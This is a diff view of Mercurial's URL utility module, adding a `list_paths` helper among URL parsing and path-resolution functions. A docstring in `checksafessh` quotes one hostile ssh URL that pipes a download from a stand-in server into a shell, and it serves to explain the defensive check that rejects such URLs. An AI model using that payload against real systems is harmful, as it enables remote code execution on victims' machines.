##// END OF EJS Templates
urlutil: introduce a new `list_paths` function...
marmoute -
r47794:83902c57 default draft
parent child Browse files
Show More
@@ -1,812 +1,824 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23
23
24 if pycompat.TYPE_CHECKING:
24 if pycompat.TYPE_CHECKING:
25 from typing import (
25 from typing import (
26 Union,
26 Union,
27 )
27 )
28
28
29 urlreq = urllibcompat.urlreq
29 urlreq = urllibcompat.urlreq
30
30
31
31
32 def getport(port):
32 def getport(port):
33 # type: (Union[bytes, int]) -> int
33 # type: (Union[bytes, int]) -> int
34 """Return the port for a given network service.
34 """Return the port for a given network service.
35
35
36 If port is an integer, it's returned as is. If it's a string, it's
36 If port is an integer, it's returned as is. If it's a string, it's
37 looked up using socket.getservbyname(). If there's no matching
37 looked up using socket.getservbyname(). If there's no matching
38 service, error.Abort is raised.
38 service, error.Abort is raised.
39 """
39 """
40 try:
40 try:
41 return int(port)
41 return int(port)
42 except ValueError:
42 except ValueError:
43 pass
43 pass
44
44
45 try:
45 try:
46 return socket.getservbyname(pycompat.sysstr(port))
46 return socket.getservbyname(pycompat.sysstr(port))
47 except socket.error:
47 except socket.error:
48 raise error.Abort(
48 raise error.Abort(
49 _(b"no port number associated with service '%s'") % port
49 _(b"no port number associated with service '%s'") % port
50 )
50 )
51
51
52
52
53 class url(object):
53 class url(object):
54 r"""Reliable URL parser.
54 r"""Reliable URL parser.
55
55
56 This parses URLs and provides attributes for the following
56 This parses URLs and provides attributes for the following
57 components:
57 components:
58
58
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60
60
61 Missing components are set to None. The only exception is
61 Missing components are set to None. The only exception is
62 fragment, which is set to '' if present but empty.
62 fragment, which is set to '' if present but empty.
63
63
64 If parsefragment is False, fragment is included in query. If
64 If parsefragment is False, fragment is included in query. If
65 parsequery is False, query is included in path. If both are
65 parsequery is False, query is included in path. If both are
66 False, both fragment and query are included in path.
66 False, both fragment and query are included in path.
67
67
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69
69
70 Note that for backward compatibility reasons, bundle URLs do not
70 Note that for backward compatibility reasons, bundle URLs do not
71 take host names. That means 'bundle://../' has a path of '../'.
71 take host names. That means 'bundle://../' has a path of '../'.
72
72
73 Examples:
73 Examples:
74
74
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 >>> url(b'file:///home/joe/repo')
79 >>> url(b'file:///home/joe/repo')
80 <url scheme: 'file', path: '/home/joe/repo'>
80 <url scheme: 'file', path: '/home/joe/repo'>
81 >>> url(b'file:///c:/temp/foo/')
81 >>> url(b'file:///c:/temp/foo/')
82 <url scheme: 'file', path: 'c:/temp/foo/'>
82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 >>> url(b'bundle:foo')
83 >>> url(b'bundle:foo')
84 <url scheme: 'bundle', path: 'foo'>
84 <url scheme: 'bundle', path: 'foo'>
85 >>> url(b'bundle://../foo')
85 >>> url(b'bundle://../foo')
86 <url scheme: 'bundle', path: '../foo'>
86 <url scheme: 'bundle', path: '../foo'>
87 >>> url(br'c:\foo\bar')
87 >>> url(br'c:\foo\bar')
88 <url path: 'c:\\foo\\bar'>
88 <url path: 'c:\\foo\\bar'>
89 >>> url(br'\\blah\blah\blah')
89 >>> url(br'\\blah\blah\blah')
90 <url path: '\\\\blah\\blah\\blah'>
90 <url path: '\\\\blah\\blah\\blah'>
91 >>> url(br'\\blah\blah\blah#baz')
91 >>> url(br'\\blah\blah\blah#baz')
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 >>> url(br'file:///C:\users\me')
93 >>> url(br'file:///C:\users\me')
94 <url scheme: 'file', path: 'C:\\users\\me'>
94 <url scheme: 'file', path: 'C:\\users\\me'>
95
95
96 Authentication credentials:
96 Authentication credentials:
97
97
98 >>> url(b'ssh://joe:xyz@x/repo')
98 >>> url(b'ssh://joe:xyz@x/repo')
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 >>> url(b'ssh://joe@x/repo')
100 >>> url(b'ssh://joe@x/repo')
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102
102
103 Query strings and fragments:
103 Query strings and fragments:
104
104
105 >>> url(b'http://host/a?b#c')
105 >>> url(b'http://host/a?b#c')
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109
109
110 Empty path:
110 Empty path:
111
111
112 >>> url(b'')
112 >>> url(b'')
113 <url path: ''>
113 <url path: ''>
114 >>> url(b'#a')
114 >>> url(b'#a')
115 <url path: '', fragment: 'a'>
115 <url path: '', fragment: 'a'>
116 >>> url(b'http://host/')
116 >>> url(b'http://host/')
117 <url scheme: 'http', host: 'host', path: ''>
117 <url scheme: 'http', host: 'host', path: ''>
118 >>> url(b'http://host/#a')
118 >>> url(b'http://host/#a')
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120
120
121 Only scheme:
121 Only scheme:
122
122
123 >>> url(b'http:')
123 >>> url(b'http:')
124 <url scheme: 'http'>
124 <url scheme: 'http'>
125 """
125 """
126
126
127 _safechars = b"!~*'()+"
127 _safechars = b"!~*'()+"
128 _safepchars = b"/!~*'()+:\\"
128 _safepchars = b"/!~*'()+:\\"
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130
130
131 def __init__(self, path, parsequery=True, parsefragment=True):
131 def __init__(self, path, parsequery=True, parsefragment=True):
132 # type: (bytes, bool, bool) -> None
132 # type: (bytes, bool, bool) -> None
133 # We slowly chomp away at path until we have only the path left
133 # We slowly chomp away at path until we have only the path left
134 self.scheme = self.user = self.passwd = self.host = None
134 self.scheme = self.user = self.passwd = self.host = None
135 self.port = self.path = self.query = self.fragment = None
135 self.port = self.path = self.query = self.fragment = None
136 self._localpath = True
136 self._localpath = True
137 self._hostport = b''
137 self._hostport = b''
138 self._origpath = path
138 self._origpath = path
139
139
140 if parsefragment and b'#' in path:
140 if parsefragment and b'#' in path:
141 path, self.fragment = path.split(b'#', 1)
141 path, self.fragment = path.split(b'#', 1)
142
142
143 # special case for Windows drive letters and UNC paths
143 # special case for Windows drive letters and UNC paths
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 self.path = path
145 self.path = path
146 return
146 return
147
147
148 # For compatibility reasons, we can't handle bundle paths as
148 # For compatibility reasons, we can't handle bundle paths as
149 # normal URLS
149 # normal URLS
150 if path.startswith(b'bundle:'):
150 if path.startswith(b'bundle:'):
151 self.scheme = b'bundle'
151 self.scheme = b'bundle'
152 path = path[7:]
152 path = path[7:]
153 if path.startswith(b'//'):
153 if path.startswith(b'//'):
154 path = path[2:]
154 path = path[2:]
155 self.path = path
155 self.path = path
156 return
156 return
157
157
158 if self._matchscheme(path):
158 if self._matchscheme(path):
159 parts = path.split(b':', 1)
159 parts = path.split(b':', 1)
160 if parts[0]:
160 if parts[0]:
161 self.scheme, path = parts
161 self.scheme, path = parts
162 self._localpath = False
162 self._localpath = False
163
163
164 if not path:
164 if not path:
165 path = None
165 path = None
166 if self._localpath:
166 if self._localpath:
167 self.path = b''
167 self.path = b''
168 return
168 return
169 else:
169 else:
170 if self._localpath:
170 if self._localpath:
171 self.path = path
171 self.path = path
172 return
172 return
173
173
174 if parsequery and b'?' in path:
174 if parsequery and b'?' in path:
175 path, self.query = path.split(b'?', 1)
175 path, self.query = path.split(b'?', 1)
176 if not path:
176 if not path:
177 path = None
177 path = None
178 if not self.query:
178 if not self.query:
179 self.query = None
179 self.query = None
180
180
181 # // is required to specify a host/authority
181 # // is required to specify a host/authority
182 if path and path.startswith(b'//'):
182 if path and path.startswith(b'//'):
183 parts = path[2:].split(b'/', 1)
183 parts = path[2:].split(b'/', 1)
184 if len(parts) > 1:
184 if len(parts) > 1:
185 self.host, path = parts
185 self.host, path = parts
186 else:
186 else:
187 self.host = parts[0]
187 self.host = parts[0]
188 path = None
188 path = None
189 if not self.host:
189 if not self.host:
190 self.host = None
190 self.host = None
191 # path of file:///d is /d
191 # path of file:///d is /d
192 # path of file:///d:/ is d:/, not /d:/
192 # path of file:///d:/ is d:/, not /d:/
193 if path and not hasdriveletter(path):
193 if path and not hasdriveletter(path):
194 path = b'/' + path
194 path = b'/' + path
195
195
196 if self.host and b'@' in self.host:
196 if self.host and b'@' in self.host:
197 self.user, self.host = self.host.rsplit(b'@', 1)
197 self.user, self.host = self.host.rsplit(b'@', 1)
198 if b':' in self.user:
198 if b':' in self.user:
199 self.user, self.passwd = self.user.split(b':', 1)
199 self.user, self.passwd = self.user.split(b':', 1)
200 if not self.host:
200 if not self.host:
201 self.host = None
201 self.host = None
202
202
203 # Don't split on colons in IPv6 addresses without ports
203 # Don't split on colons in IPv6 addresses without ports
204 if (
204 if (
205 self.host
205 self.host
206 and b':' in self.host
206 and b':' in self.host
207 and not (
207 and not (
208 self.host.startswith(b'[') and self.host.endswith(b']')
208 self.host.startswith(b'[') and self.host.endswith(b']')
209 )
209 )
210 ):
210 ):
211 self._hostport = self.host
211 self._hostport = self.host
212 self.host, self.port = self.host.rsplit(b':', 1)
212 self.host, self.port = self.host.rsplit(b':', 1)
213 if not self.host:
213 if not self.host:
214 self.host = None
214 self.host = None
215
215
216 if (
216 if (
217 self.host
217 self.host
218 and self.scheme == b'file'
218 and self.scheme == b'file'
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 ):
220 ):
221 raise error.Abort(
221 raise error.Abort(
222 _(b'file:// URLs can only refer to localhost')
222 _(b'file:// URLs can only refer to localhost')
223 )
223 )
224
224
225 self.path = path
225 self.path = path
226
226
227 # leave the query string escaped
227 # leave the query string escaped
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 v = getattr(self, a)
229 v = getattr(self, a)
230 if v is not None:
230 if v is not None:
231 setattr(self, a, urlreq.unquote(v))
231 setattr(self, a, urlreq.unquote(v))
232
232
233 def copy(self):
233 def copy(self):
234 u = url(b'temporary useless value')
234 u = url(b'temporary useless value')
235 u.path = self.path
235 u.path = self.path
236 u.scheme = self.scheme
236 u.scheme = self.scheme
237 u.user = self.user
237 u.user = self.user
238 u.passwd = self.passwd
238 u.passwd = self.passwd
239 u.host = self.host
239 u.host = self.host
240 u.path = self.path
240 u.path = self.path
241 u.query = self.query
241 u.query = self.query
242 u.fragment = self.fragment
242 u.fragment = self.fragment
243 u._localpath = self._localpath
243 u._localpath = self._localpath
244 u._hostport = self._hostport
244 u._hostport = self._hostport
245 u._origpath = self._origpath
245 u._origpath = self._origpath
246 return u
246 return u
247
247
248 @encoding.strmethod
248 @encoding.strmethod
249 def __repr__(self):
249 def __repr__(self):
250 attrs = []
250 attrs = []
251 for a in (
251 for a in (
252 b'scheme',
252 b'scheme',
253 b'user',
253 b'user',
254 b'passwd',
254 b'passwd',
255 b'host',
255 b'host',
256 b'port',
256 b'port',
257 b'path',
257 b'path',
258 b'query',
258 b'query',
259 b'fragment',
259 b'fragment',
260 ):
260 ):
261 v = getattr(self, a)
261 v = getattr(self, a)
262 if v is not None:
262 if v is not None:
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 return b'<url %s>' % b', '.join(attrs)
264 return b'<url %s>' % b', '.join(attrs)
265
265
266 def __bytes__(self):
266 def __bytes__(self):
267 r"""Join the URL's components back into a URL string.
267 r"""Join the URL's components back into a URL string.
268
268
269 Examples:
269 Examples:
270
270
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 'http://user:pw@host:80/?foo=bar&baz=42'
274 'http://user:pw@host:80/?foo=bar&baz=42'
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 'http://user:pw@host:80/?foo=bar%3dbaz'
276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 'ssh://user:pw@[::1]:2200//home/joe#'
278 'ssh://user:pw@[::1]:2200//home/joe#'
279 >>> bytes(url(b'http://localhost:80//'))
279 >>> bytes(url(b'http://localhost:80//'))
280 'http://localhost:80//'
280 'http://localhost:80//'
281 >>> bytes(url(b'http://localhost:80/'))
281 >>> bytes(url(b'http://localhost:80/'))
282 'http://localhost:80/'
282 'http://localhost:80/'
283 >>> bytes(url(b'http://localhost:80'))
283 >>> bytes(url(b'http://localhost:80'))
284 'http://localhost:80/'
284 'http://localhost:80/'
285 >>> bytes(url(b'bundle:foo'))
285 >>> bytes(url(b'bundle:foo'))
286 'bundle:foo'
286 'bundle:foo'
287 >>> bytes(url(b'bundle://../foo'))
287 >>> bytes(url(b'bundle://../foo'))
288 'bundle:../foo'
288 'bundle:../foo'
289 >>> bytes(url(b'path'))
289 >>> bytes(url(b'path'))
290 'path'
290 'path'
291 >>> bytes(url(b'file:///tmp/foo/bar'))
291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 'file:///tmp/foo/bar'
292 'file:///tmp/foo/bar'
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 'file:///c:/tmp/foo/bar'
294 'file:///c:/tmp/foo/bar'
295 >>> print(url(br'bundle:foo\bar'))
295 >>> print(url(br'bundle:foo\bar'))
296 bundle:foo\bar
296 bundle:foo\bar
297 >>> print(url(br'file:///D:\data\hg'))
297 >>> print(url(br'file:///D:\data\hg'))
298 file:///D:\data\hg
298 file:///D:\data\hg
299 """
299 """
300 if self._localpath:
300 if self._localpath:
301 s = self.path
301 s = self.path
302 if self.scheme == b'bundle':
302 if self.scheme == b'bundle':
303 s = b'bundle:' + s
303 s = b'bundle:' + s
304 if self.fragment:
304 if self.fragment:
305 s += b'#' + self.fragment
305 s += b'#' + self.fragment
306 return s
306 return s
307
307
308 s = self.scheme + b':'
308 s = self.scheme + b':'
309 if self.user or self.passwd or self.host:
309 if self.user or self.passwd or self.host:
310 s += b'//'
310 s += b'//'
311 elif self.scheme and (
311 elif self.scheme and (
312 not self.path
312 not self.path
313 or self.path.startswith(b'/')
313 or self.path.startswith(b'/')
314 or hasdriveletter(self.path)
314 or hasdriveletter(self.path)
315 ):
315 ):
316 s += b'//'
316 s += b'//'
317 if hasdriveletter(self.path):
317 if hasdriveletter(self.path):
318 s += b'/'
318 s += b'/'
319 if self.user:
319 if self.user:
320 s += urlreq.quote(self.user, safe=self._safechars)
320 s += urlreq.quote(self.user, safe=self._safechars)
321 if self.passwd:
321 if self.passwd:
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 if self.user or self.passwd:
323 if self.user or self.passwd:
324 s += b'@'
324 s += b'@'
325 if self.host:
325 if self.host:
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 s += urlreq.quote(self.host)
327 s += urlreq.quote(self.host)
328 else:
328 else:
329 s += self.host
329 s += self.host
330 if self.port:
330 if self.port:
331 s += b':' + urlreq.quote(self.port)
331 s += b':' + urlreq.quote(self.port)
332 if self.host:
332 if self.host:
333 s += b'/'
333 s += b'/'
334 if self.path:
334 if self.path:
335 # TODO: similar to the query string, we should not unescape the
335 # TODO: similar to the query string, we should not unescape the
336 # path when we store it, the path might contain '%2f' = '/',
336 # path when we store it, the path might contain '%2f' = '/',
337 # which we should *not* escape.
337 # which we should *not* escape.
338 s += urlreq.quote(self.path, safe=self._safepchars)
338 s += urlreq.quote(self.path, safe=self._safepchars)
339 if self.query:
339 if self.query:
340 # we store the query in escaped form.
340 # we store the query in escaped form.
341 s += b'?' + self.query
341 s += b'?' + self.query
342 if self.fragment is not None:
342 if self.fragment is not None:
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 return s
344 return s
345
345
346 __str__ = encoding.strmethod(__bytes__)
346 __str__ = encoding.strmethod(__bytes__)
347
347
348 def authinfo(self):
348 def authinfo(self):
349 user, passwd = self.user, self.passwd
349 user, passwd = self.user, self.passwd
350 try:
350 try:
351 self.user, self.passwd = None, None
351 self.user, self.passwd = None, None
352 s = bytes(self)
352 s = bytes(self)
353 finally:
353 finally:
354 self.user, self.passwd = user, passwd
354 self.user, self.passwd = user, passwd
355 if not self.user:
355 if not self.user:
356 return (s, None)
356 return (s, None)
357 # authinfo[1] is passed to urllib2 password manager, and its
357 # authinfo[1] is passed to urllib2 password manager, and its
358 # URIs must not contain credentials. The host is passed in the
358 # URIs must not contain credentials. The host is passed in the
359 # URIs list because Python < 2.4.3 uses only that to search for
359 # URIs list because Python < 2.4.3 uses only that to search for
360 # a password.
360 # a password.
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362
362
363 def isabs(self):
363 def isabs(self):
364 if self.scheme and self.scheme != b'file':
364 if self.scheme and self.scheme != b'file':
365 return True # remote URL
365 return True # remote URL
366 if hasdriveletter(self.path):
366 if hasdriveletter(self.path):
367 return True # absolute for our purposes - can't be joined()
367 return True # absolute for our purposes - can't be joined()
368 if self.path.startswith(br'\\'):
368 if self.path.startswith(br'\\'):
369 return True # Windows UNC path
369 return True # Windows UNC path
370 if self.path.startswith(b'/'):
370 if self.path.startswith(b'/'):
371 return True # POSIX-style
371 return True # POSIX-style
372 return False
372 return False
373
373
374 def localpath(self):
374 def localpath(self):
375 # type: () -> bytes
375 # type: () -> bytes
376 if self.scheme == b'file' or self.scheme == b'bundle':
376 if self.scheme == b'file' or self.scheme == b'bundle':
377 path = self.path or b'/'
377 path = self.path or b'/'
378 # For Windows, we need to promote hosts containing drive
378 # For Windows, we need to promote hosts containing drive
379 # letters to paths with drive letters.
379 # letters to paths with drive letters.
380 if hasdriveletter(self._hostport):
380 if hasdriveletter(self._hostport):
381 path = self._hostport + b'/' + self.path
381 path = self._hostport + b'/' + self.path
382 elif (
382 elif (
383 self.host is not None and self.path and not hasdriveletter(path)
383 self.host is not None and self.path and not hasdriveletter(path)
384 ):
384 ):
385 path = b'/' + path
385 path = b'/' + path
386 return path
386 return path
387 return self._origpath
387 return self._origpath
388
388
389 def islocal(self):
389 def islocal(self):
390 '''whether localpath will return something that posixfile can open'''
390 '''whether localpath will return something that posixfile can open'''
391 return (
391 return (
392 not self.scheme
392 not self.scheme
393 or self.scheme == b'file'
393 or self.scheme == b'file'
394 or self.scheme == b'bundle'
394 or self.scheme == b'bundle'
395 )
395 )
396
396
397
397
398 def hasscheme(path):
398 def hasscheme(path):
399 # type: (bytes) -> bool
399 # type: (bytes) -> bool
400 return bool(url(path).scheme) # cast to help pytype
400 return bool(url(path).scheme) # cast to help pytype
401
401
402
402
403 def hasdriveletter(path):
403 def hasdriveletter(path):
404 # type: (bytes) -> bool
404 # type: (bytes) -> bool
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406
406
407
407
408 def urllocalpath(path):
408 def urllocalpath(path):
409 # type: (bytes) -> bytes
409 # type: (bytes) -> bytes
410 return url(path, parsequery=False, parsefragment=False).localpath()
410 return url(path, parsequery=False, parsefragment=False).localpath()
411
411
412
412
413 def checksafessh(path):
413 def checksafessh(path):
414 # type: (bytes) -> None
414 # type: (bytes) -> None
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416
416
417 This is a sanity check for ssh urls. ssh will parse the first item as
417 This is a sanity check for ssh urls. ssh will parse the first item as
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 Let's prevent these potentially exploited urls entirely and warn the
419 Let's prevent these potentially exploited urls entirely and warn the
420 user.
420 user.
421
421
422 Raises an error.Abort when the url is unsafe.
422 Raises an error.Abort when the url is unsafe.
423 """
423 """
424 path = urlreq.unquote(path)
424 path = urlreq.unquote(path)
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 raise error.Abort(
426 raise error.Abort(
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 )
428 )
429
429
430
430
431 def hidepassword(u):
431 def hidepassword(u):
432 # type: (bytes) -> bytes
432 # type: (bytes) -> bytes
433 '''hide user credential in a url string'''
433 '''hide user credential in a url string'''
434 u = url(u)
434 u = url(u)
435 if u.passwd:
435 if u.passwd:
436 u.passwd = b'***'
436 u.passwd = b'***'
437 return bytes(u)
437 return bytes(u)
438
438
439
439
440 def removeauth(u):
440 def removeauth(u):
441 # type: (bytes) -> bytes
441 # type: (bytes) -> bytes
442 '''remove all authentication information from a url string'''
442 '''remove all authentication information from a url string'''
443 u = url(u)
443 u = url(u)
444 u.user = u.passwd = None
444 u.user = u.passwd = None
445 return bytes(u)
445 return bytes(u)
446
446
447
447
448 def list_paths(ui, target_path=None):
449 """list all the (name, paths) in the passed ui"""
450 if target_path is None:
451 return sorted(pycompat.iteritems(ui.paths))
452 else:
453 path = ui.paths.get(target_path)
454 if path is None:
455 return []
456 else:
457 return [(target_path, path)]
458
459
448 def try_path(ui, url):
460 def try_path(ui, url):
449 """try to build a path from a url
461 """try to build a path from a url
450
462
451 Return None if no Path could built.
463 Return None if no Path could built.
452 """
464 """
453 try:
465 try:
454 # we pass the ui instance are warning might need to be issued
466 # we pass the ui instance are warning might need to be issued
455 return path(ui, None, rawloc=url)
467 return path(ui, None, rawloc=url)
456 except ValueError:
468 except ValueError:
457 return None
469 return None
458
470
459
471
460 def get_push_paths(repo, ui, dests):
472 def get_push_paths(repo, ui, dests):
461 """yields all the `path` selected as push destination by `dests`"""
473 """yields all the `path` selected as push destination by `dests`"""
462 if not dests:
474 if not dests:
463 if b'default-push' in ui.paths:
475 if b'default-push' in ui.paths:
464 yield ui.paths[b'default-push']
476 yield ui.paths[b'default-push']
465 elif b'default' in ui.paths:
477 elif b'default' in ui.paths:
466 yield ui.paths[b'default']
478 yield ui.paths[b'default']
467 else:
479 else:
468 raise error.ConfigError(
480 raise error.ConfigError(
469 _(b'default repository not configured!'),
481 _(b'default repository not configured!'),
470 hint=_(b"see 'hg help config.paths'"),
482 hint=_(b"see 'hg help config.paths'"),
471 )
483 )
472 else:
484 else:
473 for dest in dests:
485 for dest in dests:
474 if dest in ui.paths:
486 if dest in ui.paths:
475 yield ui.paths[dest]
487 yield ui.paths[dest]
476 else:
488 else:
477 path = try_path(ui, dest)
489 path = try_path(ui, dest)
478 if path is None:
490 if path is None:
479 msg = _(b'repository %s does not exist')
491 msg = _(b'repository %s does not exist')
480 msg %= dest
492 msg %= dest
481 raise error.RepoError(msg)
493 raise error.RepoError(msg)
482 yield path
494 yield path
483
495
484
496
485 def get_pull_paths(repo, ui, sources, default_branches=()):
497 def get_pull_paths(repo, ui, sources, default_branches=()):
486 """yields all the `(path, branch)` selected as pull source by `sources`"""
498 """yields all the `(path, branch)` selected as pull source by `sources`"""
487 if not sources:
499 if not sources:
488 sources = [b'default']
500 sources = [b'default']
489 for source in sources:
501 for source in sources:
490 if source in ui.paths:
502 if source in ui.paths:
491 url = ui.paths[source].rawloc
503 url = ui.paths[source].rawloc
492 else:
504 else:
493 # Try to resolve as a local path or URI.
505 # Try to resolve as a local path or URI.
494 path = try_path(ui, source)
506 path = try_path(ui, source)
495 if path is not None:
507 if path is not None:
496 url = path.rawloc
508 url = path.rawloc
497 else:
509 else:
498 url = source
510 url = source
499 yield parseurl(url, default_branches)
511 yield parseurl(url, default_branches)
500
512
501
513
502 def get_unique_push_path(action, repo, ui, dest=None):
514 def get_unique_push_path(action, repo, ui, dest=None):
503 """return a unique `path` or abort if multiple are found
515 """return a unique `path` or abort if multiple are found
504
516
505 This is useful for command and action that does not support multiple
517 This is useful for command and action that does not support multiple
506 destination (yet).
518 destination (yet).
507
519
508 Note that for now, we cannot get multiple destination so this function is "trivial".
520 Note that for now, we cannot get multiple destination so this function is "trivial".
509
521
510 The `action` parameter will be used for the error message.
522 The `action` parameter will be used for the error message.
511 """
523 """
512 if dest is None:
524 if dest is None:
513 dests = []
525 dests = []
514 else:
526 else:
515 dests = [dest]
527 dests = [dest]
516 dests = list(get_push_paths(repo, ui, dests))
528 dests = list(get_push_paths(repo, ui, dests))
517 assert len(dests) == 1
529 assert len(dests) == 1
518 return dests[0]
530 return dests[0]
519
531
520
532
521 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
533 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
522 """return a unique `(path, branch)` or abort if multiple are found
534 """return a unique `(path, branch)` or abort if multiple are found
523
535
524 This is useful for command and action that does not support multiple
536 This is useful for command and action that does not support multiple
525 destination (yet).
537 destination (yet).
526
538
527 Note that for now, we cannot get multiple destination so this function is "trivial".
539 Note that for now, we cannot get multiple destination so this function is "trivial".
528
540
529 The `action` parameter will be used for the error message.
541 The `action` parameter will be used for the error message.
530 """
542 """
531 if source is None:
543 if source is None:
532 if b'default' in ui.paths:
544 if b'default' in ui.paths:
533 url = ui.paths[b'default'].rawloc
545 url = ui.paths[b'default'].rawloc
534 else:
546 else:
535 # XXX this is the historical default behavior, but that is not
547 # XXX this is the historical default behavior, but that is not
536 # great, consider breaking BC on this.
548 # great, consider breaking BC on this.
537 url = b'default'
549 url = b'default'
538 else:
550 else:
539 if source in ui.paths:
551 if source in ui.paths:
540 url = ui.paths[source].rawloc
552 url = ui.paths[source].rawloc
541 else:
553 else:
542 # Try to resolve as a local path or URI.
554 # Try to resolve as a local path or URI.
543 path = try_path(ui, source)
555 path = try_path(ui, source)
544 if path is not None:
556 if path is not None:
545 url = path.rawloc
557 url = path.rawloc
546 else:
558 else:
547 url = source
559 url = source
548 return parseurl(url, default_branches)
560 return parseurl(url, default_branches)
549
561
550
562
551 def get_clone_path(ui, source, default_branches=()):
563 def get_clone_path(ui, source, default_branches=()):
552 """return the `(origsource, path, branch)` selected as clone source"""
564 """return the `(origsource, path, branch)` selected as clone source"""
553 if source is None:
565 if source is None:
554 if b'default' in ui.paths:
566 if b'default' in ui.paths:
555 url = ui.paths[b'default'].rawloc
567 url = ui.paths[b'default'].rawloc
556 else:
568 else:
557 # XXX this is the historical default behavior, but that is not
569 # XXX this is the historical default behavior, but that is not
558 # great, consider breaking BC on this.
570 # great, consider breaking BC on this.
559 url = b'default'
571 url = b'default'
560 else:
572 else:
561 if source in ui.paths:
573 if source in ui.paths:
562 url = ui.paths[source].rawloc
574 url = ui.paths[source].rawloc
563 else:
575 else:
564 # Try to resolve as a local path or URI.
576 # Try to resolve as a local path or URI.
565 path = try_path(ui, source)
